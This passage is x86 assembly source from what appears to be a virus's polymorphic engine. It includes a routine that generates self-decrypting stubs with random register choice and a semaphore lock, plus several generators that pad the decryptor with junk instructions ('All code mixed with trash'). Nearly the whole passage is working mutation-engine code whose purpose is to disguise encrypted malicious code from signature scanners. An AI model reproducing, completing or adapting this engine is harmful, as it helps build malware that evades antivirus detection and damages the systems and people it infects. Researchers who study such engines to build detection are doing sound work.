Mov Byte Ptr Es:[EDi],0h
Ret
ProcessChar: LodsB ; Process one char, empty
StosB ; strings are not allowed!!!
Cmp Al,'a'
Jb Process_1$ ; UpCase the source char
Cmp Al,'z'
Ja Process_1$
Sub Al,20h
Process_1$: Push ECx
Push EBx
Push EDx
Mov ECx,ConvertDataLen
Xor EBx,EBx ; Try the some variants
Process_Again$: Mov EDx,[EBx*4]ConvertVar
Mov Ah,[EDx]
Inc DWord Ptr [EBx*4]ConvertVar
Cmp Al,Ah ; Good char?
Jne Process_Bad$
Cmp Byte Ptr [EDx][1],0h ; Last char in variant?
Jne Process_Next$
Sub EDx,[EBx*8][ConvertData]
Sub EDi,EDx ; Make the replacing
Dec EDi
Push ESi
Mov ESi,[EBx*8+4][ConvertData]
Process_Do$: LodsB ; Transfer the real string
StosB ; converted by me ;-)
Cmp Al,0h
Jne Process_Do$
Dec EDi
Pop ESi
Push DWord Ptr [EBx*8][ConvertData]
Pop DWord Ptr [EBx*4]ConvertVar
Jmp Process_Ok$
Process_Bad$: Push DWord Ptr [EBx*8][ConvertData]
Pop DWord Ptr [EBx*4]ConvertVar
Process_Next$: Inc EBx ; Next variant
Dec ECx
Jnz Process_Again$
Process_Ok$: Pop EDx ; Char has been processed
Pop EBx
Pop ECx
Ret
InitConverter: Push EBx ; InitConverter routines
Push ECx
Mov ECx,ConvertDataLen
Xor EBx,EBx
InitConv_1$: Push DWord Ptr [EBx*8][ConvertData]
Pop DWord Ptr [EBx*4]ConvertVar
Inc EBx
Dec ECx
Jnz InitConv_1$
Pop ECx
Pop EBx
Ret
Transfer_Str: Cmp ECx,-1h ; More strict strings
Je Transfer_S_M$ ; moving routine
Or ECx,ECx
Jz Transfer_S_D$
Rep MovsB
Transfer_S_D$: Xor Al,Al
StosB
Ret
Transfer_S_M$: LodsB
StosB
Or Al,Al
Jnz Transfer_S_M$
Ret
; ---------------------------------------------------------
; The PolyMorph code has the such structure:
; PushA
; Call Start
; ...
; Sem: Dd 1h
; ...
; Start: Pop BaseReg
; Xor SemReg,SemReg (And SemReg,0) (Mov SemReg,0)
; LockSem: Xchg [BaseReg][Sem],SemReg
; Or SemReg,SemReg (Test SemReg,SemReg) (And SemReg,SemReg)
; Jz LockSem
; Cmp SemReg,2h
; Je Done
; Add BaseReg,CodeStart
; Add [BaseReg][Border],BaseReg
; .LoadRegisters
; Again: .Decrypt
; Add Base,4h (Inc Base) 4 times
; Cmp Base,Border
; Jb Again
; Sub BaseReg,CodeStart+CodeSize
; Done: Mov [BaseReg][Sem],2h
; PopA
; CodeStart:
;
; All code mixed with trash. . . Prepare to understand!
GenPolyMorph: Push ESi
Push EDi
Push ECx
Call GetNoESpReg ; Choose the 2 base
Mov pBaseReg,Al ; registers
Mov Bl,Al ; Base
GenPolyM_R$: Call GetNoESpReg
Cmp Bl,Al
Je GenPolyM_R$
Mov pSemReg,Al ; and Semaphore
Mov Byte Ptr pEnableEncr,0h
Mov ECx,5h
Mov EBx,Offset GenNoRegCom
Call Enumer
Mov Al,60h ; PushA
StosB
Mov Ax,-1h
Mov EBx,Offset GenAnyCom
Call Enumer
Mov Al,0E8h ; Call $+...
StosB
Mov EAx,50h
Call Random
Add EAx,10h
Push EAx
StosD
Mov pBase,EDi
Mov ECx,EAx
GenPolyM_C$: Mov EAx,100h
Call Random
StosB
Dec ECx
Jnz GenPolyM_C$
Pop EAx
Sub EAx,4h
Call Random
Mov pSem,EAx
Add EAx,pBase ; SetUp semaphore
Mov DWord Ptr [EAx],1h
Mov Al,pBaseReg ; Pop BaseReg
Or Al,58h
StosB
Mov Ah,-1h
Mov Al,pBaseReg
Mov ECx,5h
Mov EBx,Offset GenAnyCom
Call Enumer
Mov EAx,2h ; Xor SemReg,SemReg
Call Random
Or Al,Al
Jz GenPolyM_X$
Mov Al,2h
Call Random
Or Al,Al
Jz GenPolyM_XM$
Mov Al,81h ; (And)
StosB
Mov Al,pSemReg
Or Al,0E0h
StosB
Xor EAx,EAx
StosD
Jmp GenPolyM_XD$
GenPolyM_XM$: Mov Al,0B8h ; (Mov)
Or Al,pSemReg
StosB
Xor EAx,EAx
StosD
Jmp GenPolyM_XD$
GenPolyM_X$: Mov Al,2h ; (Xor)
Call Random
Add EAx,EAx
Or Al,31h
StosB
Mov Al,pSemReg
Shl Al,3h
Or Al,pSemReg
Or Al,0C0h
StosB
GenPolyM_XD$: Mov Al,pSemReg
Mov Ah,pBaseReg
Call Enumer
Mov pXchg,EDi
Mov Al,87h ; Xchg SemReg,[BaseReg][Sem]
StosB
Mov Al,pSemReg
Shl Al,3h
Or Al,80h
Or Al,pBaseReg
StosB
Mov EAx,pSem
StosD
Mov Al,pBaseReg
Mov Ah,pSemReg
Call Enumer
Mov EAx,4h ; Or SemReg,SemReg
Call Random
Jz GenPolyM_OC$
Mov Al,3h ; (And) (Test) (Or)
Call Random
Shl Al,3h
Mov Cl,Al
Mov EAx,092185h
Shr EAx,Cl
Cmp Al,85h
Je GenPolyM_O$
Push EAx
Mov EAx,2h
Call Random
Or Al,Al
Pop EAx
Jz GenPolyM_O$
Or Al,2h
GenPolyM_O$: StosB
Mov Al,pSemReg
Shl Al,3h
Or Al,pSemReg
Or Al,0C0h
StosB
Jmp GenPolyM_OD$
GenPolyM_OC$: Mov Al,83h ; (Cmp)
StosB
Mov Al,pSemReg
Or Al,38h
Or Al,0C0h
StosB
Xor Al,Al
StosB
GenPolyM_OD$: Mov ECx,5h
Mov EBx,Offset GenNoFlagCom
Call Enumer
Mov Ax,840Fh ; Jz LockSem
StosW
Mov EAx,pXchg
Sub EAx,4h
Sub EAx,EDi
StosD
Mov Al,pBaseReg
Mov Ah,pSemReg
Mov EBx,Offset GenAnyCom
Call Enumer
Mov Al,83h ; Cmp SemReg,2h
StosB
Mov Al,pSemReg
Or Al,0F8h
StosB
Mov Al,2h
StosB
Mov EBx,Offset GenNoFlagCom
Call Enumer
Mov Ax,840Fh ; Jz Done
StosW
Mov pMov,EDi
StosD
Mov Al,pBaseReg
Mov Ah,-1h
Mov EBx,Offset GenAnyCom
Call Enumer
Mov Al,81h ; Add BaseReg,CodeStart
StosB
Mov Al,pBaseReg
Or Al,0C0h
StosB
Mov pBaseAdd,EDi
StosD
Mov Al,pBaseReg
Mov Ah,-1h
Call ENumer
Mov Al,1h ; Add [BaseReg][Brdr],BaseReg
StosB
Mov Al,pBaseReg
Shl Al,3h
Or Al,80h
Or Al,pBaseReg
StosB
Mov pAdd,EDi
StosD
Mov Al,pBaseReg
Mov Ah,-1h
Call Enumer
Mov Byte Ptr pEnableEncr,1h
Mov Al,pBaseReg ; Encryptor, Pop BaseReg
Or Al,58h
Call StoreByte
Mov Al,87h ; Encryptor,
Call StoreByte ; Xchg BaseReg,[ESp]
Mov Al,pBaseReg
Shl Al,3h
Or Al,4h
Call StoreByte
Mov Al,24h
Call StoreByte
Mov Al,68h ; Encryptor, Push EncrSize
Call StoreByte
Mov EAx,[ESp]
Sub EAx,4h
Call StoreDWord
Mov EDx,1h ; .LoadRegisters
Mov Cl,pBaseReg
Shl EDx,Cl
Or EDx,10h
Mov Al,pBaseReg
Mov Ah,-1h
GenPolyM_L$: Push EAx
Call GenMovCom
Mov EAx,2h
Call Random
Or Al,Al
Pop EAx
Jz GenPolyM_L1$
Push EAx
Call GenNoRegCom
Pop EAx
GenPolyM_L1$: Cmp EDx,0FFh
Jne GenPolyM_L$
Mov ECx,5h
Mov EBx,Offset GenNoRegCom
Call Enumer
Mov Al,1h ; Encryptor, Border SetUp
Call StoreByte ; Add [ESp],BaseReg
Mov Al,pBaseReg
Shl Al,3h
Or Al,4h
Call StoreByte
Mov Al,24h
Call StoreByte
Mov pAgain,EDi
Mov pAgain_E,ESi
Mov EAx,40h ; 10h..50h commands
Call Random
Add EAx,10h
Mov ECx,EAx
GenPolyM_G0$: Mov EAx,3h ; .Decrypt
Call Random
Or Al,Al
Mov Al,pBaseReg
Mov Ah,-1h
Jnz GenPolyM_G1$
Call GenArCom
Jmp GenPolyM_G2$
GenPolyM_G1$: Call GenArMemCom
GenPolyM_G2$: Dec ECx
Jnz GenPolyM_G0$
Mov EAx,2h ; Add BaseReg,4h
Call Random
Or Al,Al
Jz GenPolyM_I2$
Mov Al,pBaseReg ; (Inc)
Or Al,40h
Mov ECx,4h
GenPolyM_I1$: StosB
Call StoreByte
Push EAx
Call GenNoRegCom
Pop EAx
Dec ECx
Jnz GenPolyM_I1$
Jmp GenPolyM_I3$
GenPolyM_I2$: Mov Al,83h ; (Add)
StosB
Call StoreByte
Mov Al,pBaseReg
Or Al,0C0h
StosB
Call StoreByte
Mov Al,4h
StosB
Call StoreByte
GenpolyM_I3$: Mov ECx,5h
Mov EBx,Offset GenArCom
Mov Al,pBaseReg
Mov Ah,-1h
Call Enumer
Mov Al,81h ; Cmp BaseReg,Limit
StosB
Mov Al,pBaseReg
Or Al,0F8h
StosB
Mov EAx,EDi
Sub EAx,pBase
Mov EBx,pAdd
Mov [EBx],EAx ; 1pass Complete Add command
Mov EAx,[ESp]
Sub EAx,4h
StosD
Mov Al,3Bh ; Encryptor, Border check
Call StoreByte ; Cmp BaseReg,[ESp]
Mov Al,pBaseReg
Shl Al,3h
Or Al,4h
Call StoreByte
Mov Al,24h
Call StoreByte
Mov EBx,Offset GenNoFlagCom
Call Enumer
Mov Ax,820Fh
StosW
Call StoreWord
Mov EAx,pAgain ; Complete Jmp Again commands
Sub EAx,EDi
Sub EAx,4h
StosD
Mov EAx,pAgain_E
Sub EAx,ESi
Sub EAx,4h
Call StoreDWord
Mov Al,58h ; Complete encryptor
Call StoreByte
Mov Al,0C3h
Call StoreByte
Mov Byte Ptr pEnableEncr,0h
Mov EBx,Offset GenAnyCom
Mov Al,pBaseReg
Mov Ah,-1h
Call Enumer
Mov Al,81h ; Sub BaseReg,CodeSize
StosB
Mov Al,pBaseReg
Or Al,0E8h
StosB
Mov pBaseSub,EDi
StosD
Mov Al,pBaseReg
Mov Ah,-1h
Call Enumer
Mov Al,0C7h ; Mov [BaseReg][Sem],2h
StosB
Mov Al,pBaseReg
Or Al,80h
StosB
Mov EAx,pSem
StosD
Mov EAx,2h
StosD
Mov EAx,EDi ; Complete Jmp Done command
Sub EAx,pMov
Sub EAx,4h
Mov EBx,pMov
Mov [EBx],EAx
Mov EBx,Offset GenAnyCom
Mov Ax,-1h
Call Enumer
Mov Al,61h ; PopA
StosB
Mov EBx,Offset GenNoRegCom
Call Enumer
Mov EAx,EDi ; Complete Base To Body SetUp
Sub EAx,pBase
Mov EBx,pBaseAdd
Mov [EBx],EAx
Mov EBx,pAdd ; 2pass Complete Add command
Sub [EBx],EAx
Mov EBx,[ESp] ; Backward Body to Base SetUp
Dec EBx
And Bl,0FCh ; Rounded by 4h
Add EAx,EBx
Mov EBx,pBaseSub
Mov [EBx],EAx
Pop ECx
Mov EDx,EDi ; All done successfully!
Sub EDx,[ESp] ; EDx - decryptor size
Mov EBx,ESi
Sub EBx,[ESp][4] ; EBx - encryptor size
Add ESp,8h
Ret
; ---------------------------------------------------------
GenArMemCom: Push EAx ; Some command that
Mov EAx,2h ; change memory by
Call Random ; base in EAx (Al)
Or Al,Al
Jz GenArMem_Imm$
Mov Al,2h ; Add; Sub (Reg)
Call Random
Or Al,Al
Jz GenArMem_R_1$
Mov Al,28h
GenArMem_R_1$: Or Al,1h
StosB
Xor Al,28h
Call StoreByte
Pop EAx
Push EBx
Mov EBx,EAx
GenArMem_R_2$: Call GetNoESpReg
Cmp Al,Bl
Je GenArMem_R_2$
Cmp Al,Bh
Je GenArMem_R_2$
Shl Al,3h
Or Al,Bl
Pop EBx
Mov Ah,Al
Call GenArMem_Comp$
Ret
GenArMem_Imm$: Mov Al,2h ; Add; Sub (Imm)
Call Random
Add Al,Al
Or Al,81h
StosB
Call StoreByte
Xchg EAx,[ESp]
Push EAx
Mov Al,2h
Call Random
Or Al,Al
Pop EAx
Jz GenArmem_I_1$
Or Al,28h
GenArMem_I_1$: Mov Ah,Al
Xor Ah,28h
Call GenArMem_Comp$
Pop EAx
Cmp Al,83h
Jne GenArMem_I_2$
Mov Ax,100h ; Byte operand
Call Random
StosB
Call StoreByte
Ret
GenArMem_I_2$: Mov EAx,RandSeed ; DWord operand
StosD
Call StoreDWord
Ret
GenArMem_Comp$: Push EAx ; Compile addressing
And Al,7h ; modes (Corrupt EAx)
Cmp Al,4h
Je GenArMem_C_1$
Cmp Al,5h
Je GenArMem_C_2$
Pop EAx
StosB
GenArMem_C0$: Mov Al,Ah
Push EAx
And Al,7h
Cmp Al,4h
Je GenArMem_C_3$
Cmp Al,5h
Je GenArMem_C_4$
Pop EAx
Call StoreByte
Ret
GenArMem_C_1$: Pop EAx ; [ESp]
StosB
Mov Al,24h
StosB
Jmp GenArMem_C0$
GenArMem_C_2$: Pop EAx ; [EBp]
Or Al,40h
And Al,0FEh
StosB
Mov Al,25h
StosB
Mov Al,0h
StosB
Jmp GenArMem_C0$
GenArMem_C_3$: Pop EAx ; [ESp]
Call StoreByte
Mov Al,24h
Call StoreByte
Ret
GenArMem_C_4$: Pop EAx ; [EBp]
Or Al,40h
And Al,0FEh
Call StoreByte
Mov Al,25h
Call StoreByte
Mov Al,0h
Call StoreByte
Ret
; ---------------------------------------------------------
GenAnyCom: Push EAx
Push EBx ; Some command that
Push EDx ; changes registers
Mov EBx,EAx ; but don't change some
GenAnyCom_0_1$: Call GetNoESpReg ; registers by # in Ax (Ah,Al)
Cmp Al,Bl ; (Corrupt EAx)
Je GenAnyCom_0_1$
Cmp Al,Bh
Je GenAnyCom_0_1$
Mov Dl,Al
GenAnyCom_0_2$: Call GetNoESpReg
Cmp Al,Bl
Je GenAnyCom_0_2$
Cmp Al,Bh
Je GenAnyCom_0_2$
Mov Ah,Dl
Pop EDx
Pop EBx
Push EAx
Mov EAx,0Ch
Call Random
Or EAx,EAx
Jnz GenAnyCom_1$ ; ">0"
Pop EAx ; Ar command
Pop EAx
Jmp GenArCom
GenAnyCom_1$: Dec EAx
Jnz GenAnyCom_2$ ; ">1"
Pop EAx ; Mov/Lea command
Pop EAx
Push EDx
Call GenMovCom
Pop EDx
Ret
GenAnyCom_2$: Dec EAx
Jnz GenAnyCom_3$ ; ">2"
Pop EAx ; Cbw; Cwde
Pop EAx
Or Al,Al
Jz GenAnyCom
Or Ah,Ah
Jz GenAnyCom
Mov EAx,2h
Call Random
Or Al,Al
Jz GenAnyCom_2_1$
Mov Al,66h
StosB
GenAnyCom_2_1$: Mov Al,98h
StosB
Ret
GenAnyCom_3$: Dec EAx
Jnz GenAnyCom_4$ ; ">3"
Pop EAx ; Cwd; Cdq
Pop EAx
Or Al,Al
Jz GenAnyCom
Or Ah,Ah
Jz GenAnyCom
Cmp Al,2h
Je GenAnyCom
Cmp Ah,2h
Je GenAnyCom
Mov EAx,2h
Call Random
Or Al,Al
Jz GenAnyCom_3_1$
Mov Al,66h
StosB
GenAnyCom_3_1$: Mov Al,99h
StosB
Ret
GenAnyCom_4$: Dec EAx
Jnz GenAnyCom_5$ ; ">4"
Pop EAx ; Aas; Aaa; Daa; Das
Pop EAx
Or Al,Al
Jz GenAnyCom
Or Ah,Ah
Jz GenAnyCom
Mov EAx,4h
Call Random
Shl Al,3h
Or Al,27h
StosB
Ret
GenAnyCom_5$: Dec EAx
Jnz GenAnyCom_6$ ; ">5"
Pop EAx ; Aad; Aam
Pop EAx ; operand must be <>0
Or Al,Al
Jz GenAnyCom
Or Ah,Ah
Jz GenAnyCom
Mov EAx,2h
Call Random
Or Al,0D4h
StosB
Mov Al,0FFh
Call Random
Inc Al
StosB
Ret
GenAnyCom_6$: Dec EAx
Jnz GenAnyCom_7$ ; ">6"
Pop EAx ; Loop $+2
Pop EAx
Cmp Al,1h
Je GenAnyCom
Cmp Ah,1h
Je GenAnyCom
Mov Ax,0E2h
StosW
Ret
GenAnyCom_7$: Dec EAx
Jnz GenAnyCom_8$ ; ">7"
Mov Al,0D1h ; Rol; Shl;
StosB ; Ror; Shr; Sar;
Pop EAx ; Rcl; Rcr
Push EBx
Mov EBx,EAx
GenAnyCom_7_0$: Mov EAx,8h
Call Random
Cmp Al,6h
Je GenAnyCom_7_0$
Shl Al,3h
Or Al,Bl
Or Al,0C0h
StosB
Pop EBx
Pop EAx
Ret
GenAnyCom_8$: Dec EAx
Jnz GenAnyCom_9$ ; ">8"
Mov Al,89h ; Mov Reg1,Reg2
StosB
Pop EAx
Shl Al,3h
Or Al,Ah
Or Al,0C0h
StosB
Pop EAx
Ret
GenAnyCom_9$: Dec EAx
Jnz GenAnyCom_10$ ; ">9"
Mov Al,4h ; Adc; Sbb; Or; And
Call Random
Inc Al
Shl Al,3h
Or Al,1h
Push EBx
Mov EBx,EAx
Mov Al,2h
Call Random
Shl Al,1h
Or Al,Bl
Pop EBx
StosB
Pop EAx
Shl Al,3h
Or Al,Ah
Or Al,0C0h
StosB
Pop EAx
Ret
GenAnyCom_10$: Dec EAx
Jnz GenAnyCom_11$ ; ">10"
Mov Al,2h ; Adc; Sbb; Or; And [Imm]
Call Random
Or Al,Al
Pop EAx
PushF
Push EAx
Jz GenAnyCom_10a$
Mov Al,66h
StosB
GenAnyCom_10a$: Mov EAx,2h
Call Random
Shl Al,1h
Or Al,81h
StosB
Xchg EAx,[ESp]
Push EBx
Mov EBx,EAx
Mov EAx,4h
Call Random
Inc EAx
Shl Al,3h
Or Al,0C0h
Or Al,Bl
Pop EBx
StosB
Pop EAx
Cmp Al,83h
Je GenAnyCom_10b$
Mov Ax,Word Ptr RandSeed ; Imm16
StosW
PopF
Jnz GenAnyCom_10c$
Mov Ax,Word Ptr RandSeed+2 ; Imm32
StosW
GenAnyCom_10c$: Pop EAx
Ret
GenAnyCom_10b$: Mov EAx,100h ; Imm8
Call Random
StosB
PopF
Pop EAx
Ret
GenAnyCom_11$: Pop EAx
Or Al,50h ; Push Reg1 / Pop Reg2
StosB
Push EAx ; Seria of commands
Mov EAx,5h
Call Random
Push ECx
Mov ECx,EAx
Or ECx,ECx
Jz GenAnyCm_11_1$
GenAnyCm_11_1$: Mov EAx,[ESp][2*4]
Call GenAnyCom
Dec ECx
Jnz GenAnyCm_11_2$
GenAnyCm_11_2$: Pop ECx
Pop EAx
Mov Al,Ah
Or Al,58h
StosB
Pop EAx
Ret
; ---------------------------------------------------------
GenArCom: Push EAx
Push EBx ; Some command that pretty
Push EDx ; changes registers
Mov EBx,EAx ; but don't change some
GenArCom_0_1$: Call GetNoESpReg ; registers by # in Ax (Ah,Al)
Cmp Al,Bl ; (Corrupt EAx)
Je GenArCom_0_1$
Cmp Al,Bh
Je GenArCom_0_1$
Mov Dl,Al
GenArCom_0_2$: Call GetNoESpReg
Cmp Al,Bl
Je GenArCom_0_2$
Cmp Al,Bh
Je GenArCom_0_2$
Shl Al,3h
Or Al,Dl
Or Al,0C0h
Pop EDx
Pop EBx
Push EAx
Mov EAx,7h
Call Random
Or EAx,EAx
Jnz GenArCom_1$ ; ">0"
Pop EAx ; NoReg command
Pop EAx
Jmp GenNoRegCom
GenArCom_1$: Dec EAx
Jnz GenArCom_2$ ; ">1"
Mov Al,87h ; Xchg Reg1,Reg2
StosB
Call StoreByte
Pop EAx
StosB
Call StoreByte
Pop EAx
Ret
GenArCom_2$: Dec EAx
Jnz GenArCom_3$ ; ">2"
Pop EAx ; Push Reg1; Push Reg2
Mov Ah,Al ; Pop Reg2; Pop Reg1
And Al,7h
Or Al,50h
StosB
Call StoreByte
Mov Al,Ah
Shr Al,3h
And Al,7h
Or Al,50h
StosB
Call StoreByte
Push ECx ; Seria of commands
Push EAx
Mov EAx,5h
Call Random
Mov ECx,EAx
Or ECx,ECx
Jz GenArCom_2_1$
GenArCom_2_2$: Mov EAx,[ESp][2*4]
Call GenArCom
Dec ECx
Jnz GenArCom_2_2$
GenArCom_2_1$: Pop EAx
Pop ECx
Mov Al,Ah
And Al,7h
Or Al,58h
StosB
Call StoreByte
Mov Al,Ah
Shr Al,3h
And Al,7h
Or Al,58h
StosB
Call StoreByte
Pop EAx
Ret
GenArCom_3$: Dec EAx
Jnz GenArCom_4$ ; ">3"
Mov EAx,2h ; Xor Reg1,Reg2
Call Random
Or Al,38h
Or Al,1h
StosB
Call StoreByte
Pop EAx
StosB
Call StoreByte
Pop EAx
Ret
GenArCom_4$: Dec EAx
Jnz GenArCom_5$ ; ">4"
Mov Al,2h ; Add Reg1,Reg2
Call Random ; Sub Reg1,Reg2
Or Al,Al
Jz GenArCom_4_1$
Mov Al,28h
GenArCom_4_1$: Or Al,1h
Push EBx
Mov EBx,EAx
Mov Al,2h
Call Random
Or Al,Bl
StosB
Call StoreByte
Pop EBx
Pop EAx
StosB
Call StoreByte
Pop EAx
Ret
GenArCom_5$: Dec EAx
Jnz GenArCom_6$ ; ">5"
Mov Al,2h ; Add; Sub; Xor [Imm]
Call Random
Or Al,Al
Pop EAx
PushF
Push EAx
Jz GenArCom_5_1$
Mov Al,66h
StosB
Call StoreByte
GenArCom_5_1$: Mov EAx,2h
Call Random
Shl Al,1h
Or Al,81h
StosB
Call StoreByte
Xchg EAx,[ESp]
Push EAx
Mov EAx,3h
Call Random
Shl Al,3h
Push ECx
Mov Cl,Al
Mov EAx,002830h
Shr EAx,Cl
Pop ECx
Xchg EBx,[ESp]
And Bl,7h
Or Al,Bl
Or Al,0C0h
StosB
Call StoreByte
Pop EBx
Pop EAx
Cmp Al,83h
Je GenArCom_5_2$
Mov Ax,Word Ptr RandSeed
StosW
Call StoreWord ; Imm16
PopF
Jnz GenArCom_5_3$
Mov Ax,Word Ptr RandSeed+2 ; Imm32
StosW
Call StoreWord
GenArCom_5_3$: Pop EAx
Ret
GenArCom_5_2$: Mov EAx,100h ; Imm8
Call Random
StosB
Call StoreByte
PopF
Pop EAx
Ret
GenArCom_6$: Mov Al,0D1h ; Rol Reg,1
StosB ; Ror Reg,1
Call StoreByte
Pop EAx
Push EBx
Mov EBx,EAx
Mov EAx,2h
Call Random
Shl Al,3h
And Bl,0C7h
Or Al,Bl
StosB
Call StoreByte
Pop EBx
Pop EAx
Ret
; ---------------------------------------------------------
GenMovCom: Push EBx ; Some command that loads
Mov EBx,EAx ; registers by values
GenMovCom_1$: Call GetNoESpReg ; but don't change some
Cmp Al,Bl ; register by # in Ax (Ah,Al)
Je GenMovCom_1$ ; set bit in mask
Cmp Al,Bh ; transferred in EDx
Je GenMovCom_1$ ; (Corrupt EAx)
Mov EBx,EAx
Push ECx
Mov Cl,Al
Mov EAx,1
Shl EAx,Cl
Or EDx,EAx ; Set bit in mask
Pop ECx
Mov EAx,2h
Call Random
Or Al,Al
Jz GenMovCom_Lea$
Mov Al,Bl ; Mov style
Or Al,0B8h
StosB
Call StoreByte
Mov EAx,RandSeed
StosD
Call StoreDWord
Pop EBx
Ret
GenMovCom_Lea$: Mov Al,8Dh ; Lea style
StosB
Call StoreByte
Mov Al,Bl
Shl Al,3h
Or Al,5h
StosB
Call StoreByte
Mov EAx,RandSeed
StosD
Call StoreDWord
Pop EBx
Ret
; ---------------------------------------------------------
GenNoRegCom: Xor EAx,EAx ; Some command that don't
Mov Al,0Eh ; change registers
Call Random ; (Corrupt EAx)
Or EAx,EAx
Jnz GenNoReg_1$ ; ">0"
Call GenNoFlagCom ; NoFlag command
Ret
GenNoReg_1$: Dec EAx
Jnz GenNoReg_2$ ; ">1"
Mov Al,2h ; Clc or Stc
Call Random
Or Al,0F8h
StosB
Ret
GenNoReg_2$: Dec EAx
Jnz GenNoReg_3$ ; ">2"
Mov Al,2h ; Cld or Std
Call Random
Or Al,0FCh
StosB
Ret
GenNoReg_3$: Dec EAx
Jnz GenNoReg_4$ ; ">3"
Mov Al,0F5h ; Cmc
StosB
Ret
GenNoReg_4$: Dec EAx
Jnz GenNoReg_5$ ; ">4"
Mov Al,4h ; Or Reg,Reg
Call Random
Or Al,8h
StosB
Call GetEqRegs
StosB
Ret
GenNoReg_5$: Dec EAx
Jnz GenNoReg_6$ ; ">5"
Mov Al,4h ; And Reg,Reg
Call Random
Or Al,20h
StosB
Call GetEqRegs
StosB
Ret
GenNoReg_6$: Dec EAx
Jnz GenNoReg_7$ ; ">6"
Mov Al,4h ; Cmp Reg1,Reg2
Call Random
Or Al,38h
StosB
Call GetNoEqRegs
StosB
Ret
GenNoReg_7$: Dec EAx
Jnz GenNoReg_8$ ; ">7"
Mov Al,2h ; Test Reg1,Reg2
Call Random
Or Al,84h
StosB
Call GetNoEqRegs
StosB
Ret
GenNoReg_8$: Dec EAx
Jnz GenNoReg_9$ ; ">8"
Mov Al,2h ; Test Reg,0XXXXh
Call Random
Or Al,0F6h
StosB
Push EAx
Call GetReg
Or Al,0C0h
StosB
Pop EAx
Cmp Al,0F6h
Jne GenNoReg_8_1$
Mov EAx,100h
Call Random
StosB
Ret
GenNoReg_8_1$: Mov EAx,RandSeed
StosD
Ret
GenNoReg_9$: Dec EAx
Jnz GenNoReg_10$ ; ">9"
Mov Al,2h ; Cmp Reg,0XXXXh
Call Random
Or Al,80h
StosB
Push EAx
Call GetReg
Or Al,0F8h
StosB
Pop EAx
Cmp Al,80h
Jne GenNoReg_9_1$
Mov EAx,100h
Call Random
StosB
Ret
GenNoReg_9_1$: Mov EAx,RandSeed
StosD
Ret
GenNoReg_10$: Dec EAx
Jnz GenNoReg_11$ ; ">10"
Call GetNoESpReg ; Inc Reg / Dec Reg
Or Al,40h
Push EBx
Mov Bl,Al
Mov Al,2h
Call Random
Shl Al,3h
Or Al,Bl
Pop EBx
StosB
Push EAx ; Some seria of commands
Push ECx
Mov EAx,5h ; How many. . .
Call Random
Mov ECx,EAx
Or ECx,ECx
Jz GenNoReg_10_1$
GenNoReg_10_2$: Call GenNoRegCom
Dec ECx
Jnz GenNoReg_10_2$
GenNoReg_10_1$: Pop ECx
Pop EAx
Xor Al,8h
StosB
Ret
GenNoReg_11$: Dec EAx
Jnz GenNoReg_12$ ; ">11"
Mov Al,2h ; Rol Reg,1 / Ror Reg,1
Call Random ; Inc Reg,1 / Dec Reg,1
Push EAx
Mov Al,2h
Call Random
Or Al,Al
Pop EAx
Mov Ah,0D0h
Je GenNoReg_11_0$
Mov Ah,0FEh
GenNoReg_11_0$: Or Al,Ah
Push EAx
StosB
Call GetNoESpReg
Or Al,0C0h
Push EBx
Mov Bl,Al
Mov Al,2h
Call Random
Shl Al,3h
Or Al,Bl
Pop EBx
StosB
Push EAx ; Some seria of commands
Push ECx
Mov EAx,5h ; How many. . .
Call Random
Mov ECx,EAx
Or ECx,ECx
Jz GenNoReg_11_1$
GenNoReg_11_2$: Call GenNoRegCom
Dec ECx
Jnz GenNoReg_11_2$
GenNoReg_11_1$: Pop ECx
Pop EAx
Xchg EAx,[ESp]
StosB
Pop EAx
Xor Al,8h
StosB
Ret
GenNoReg_12$: Dec EAx
Jnz GenNoReg_13$ ; ">12"
Mov Al,2h ; Xchg Reg1,Reg2 (Twice)
Call Random ; (without ESp)
Or Al,86h
Push EBx
Mov Bl,Al
Call GetNoEqRegs0
Mov Ah,Bl
Pop EBx
Xchg Ah,Al
StosW
Push EAx ; Seria ;-) from One command
Call GenNoRegCom
Pop EAx
StosW
Ret
GenNoReg_13$: Mov Al,2h ; Add; Sub; Xor [Imm]
Call Random ; Sub; Add; Xor [Imm]
Or Al,Al
PushF ; _Prefix
Jz GenNoReg_13_1$
Mov Al,66h
StosB
GenNoReg_13_1$: Mov Al,4h
Call Random
Or Al,80h
StosB
Push EAx ; _ComByte
Mov Al,3h
Call Random
Shl Al,3h
Push EAx ; _ComNum
Push ECx
Mov Cl,Al
Mov EAx,002830h
Shr EAx,Cl
Mov ECx,EAx
Call GetNoESpReg
Or Cl,Al
Xchg EAx,[ESp] ; _RegNum
Xchg EAx,ECx
Or Al,0C0h
StosB
Mov EAx,RandSeed
Push EAx ; _MagicDWord
Mov EAx,[ESp][3*4]
Cmp Al,81h
Jne GenNoReg13_2$
Mov EAx,[ESp]
StosW
Mov EAx,[ESp][4*4]
Push EAx
PopF
Jnz GenNoReg13_3$
Mov EAx,[ESp]
Shr EAx,16
StosW
Jmp GenNoReg13_3$
GenNoReg13_2$: Mov EAx,[ESp]
StosB
GenNoReg13_3$: Push ECx ; Seria of commands. . .
Mov EAx,5h
Call Random
Mov ECx,EAx
Or ECx,ECx
Jz GenNoReg13_4$
GenNoReg13_5$: Call GenNoRegCom
Dec ECx
Jnz GenNoReg13_5$
GenNoReg13_4$: Pop ECx
Mov EAx,[ESp][4*4] ; Mirror command
Push EAx
PopF
Jz GenNoReg13_6$
Mov Al,66h
StosB
GenNoReg13_6$: Mov EAx,[ESp][3*4]
StosB
Push ECx
Mov ECx,[ESp][2*4]+4
Mov EAx,280030h
Shr EAx,Cl
Mov ECx,EAx
Mov EAx,[ESp][1*4]+4
Or Al,Cl
Or Al,0C0h
StosB
Pop ECx
Mov EAx,[ESp][3*4]
Cmp Al,81h
Jne GenNoReg13_7$
Mov EAx,[ESp]
StosW
Mov EAx,[ESp][4*4]
Push EAx
PopF
Jnz GenNoReg13_8$
Mov EAx,[ESp]
Shr EAx,16
StosW
GenNoReg13_8$: Add ESp,5*4
Ret
GenNoReg13_7$: Mov EAx,[ESp]
StosB
Add ESp,5*4
Ret
; ---------------------------------------------------------
GenNoFlagCom: Xor EAx,EAx ; Some command that don't
Mov Al,0Ah ; change anything
Call Random ; (Corrupt EAx)
Or EAx,EAx
Jnz GenNoFlag_1$ ; ">0"
Mov Al,90h ; Nop command
StosB
Ret
GenNoFlag_1$: Dec EAx
Jnz GenNoFlag_2$ ; ">1"
GenNoFlag_1_1$: Mov Al,4h ; Segments DS: ES: SS:
Call Random ; Without CS: !
Shl Al,3h
Or Al,26h
Cmp Al,2Eh
